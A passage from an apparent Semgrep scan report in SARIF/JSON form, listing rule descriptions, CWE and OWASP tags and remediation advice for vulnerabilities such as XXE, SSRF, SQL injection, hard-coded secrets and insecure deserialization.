CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","id":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","name":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password","id":"python.redis.python-redis-empty-password.python-redis-empty-password","name":"python.redis.python-redis-empty-password.python-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-empty-password.python-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"help":{"markdown":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges)\n - [https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py)\n","text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","id":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","name":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests","id":"python.flask.security.injection.ssrf-requests.ssrf-requests","name":"python.flask.security.injection.ssrf-requests.ssrf-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.ssrf-requests.ssrf-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"help":{"markdown":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment","id":"python.django.security.injection.mass-assignment.mass-assignment","name":"python.django.security.injection.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"help":{"markdown":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function)\n - [https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers](https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers)\n","text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function","id":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","name":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.null-deref.null-library-function.null-library-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","id":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","name":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"help":{"markdown":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization)\n - [https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks](https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks)\n","text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","id":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","name":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","id":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","name":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","id":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","name":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"help":{"markdown":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security)\n","text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","id":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","name":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","id":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","name":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md](https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection","id":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","name":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-connection.tainted-url-to-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"help":{"markdown":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","id":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","name":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free","id":"cpp.lang.security.memory.deallocation.double-free.double-free","name":"cpp.lang.security.memory.deallocation.double-free.double-free","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-free.double-free"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"help":{"markdown":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged](https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged)\n - [https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS](https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS)\n - [https://stackoverflow.com/a/40335556](https://stackoverflow.com/a/40335556)\n","text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","id":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","name":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request 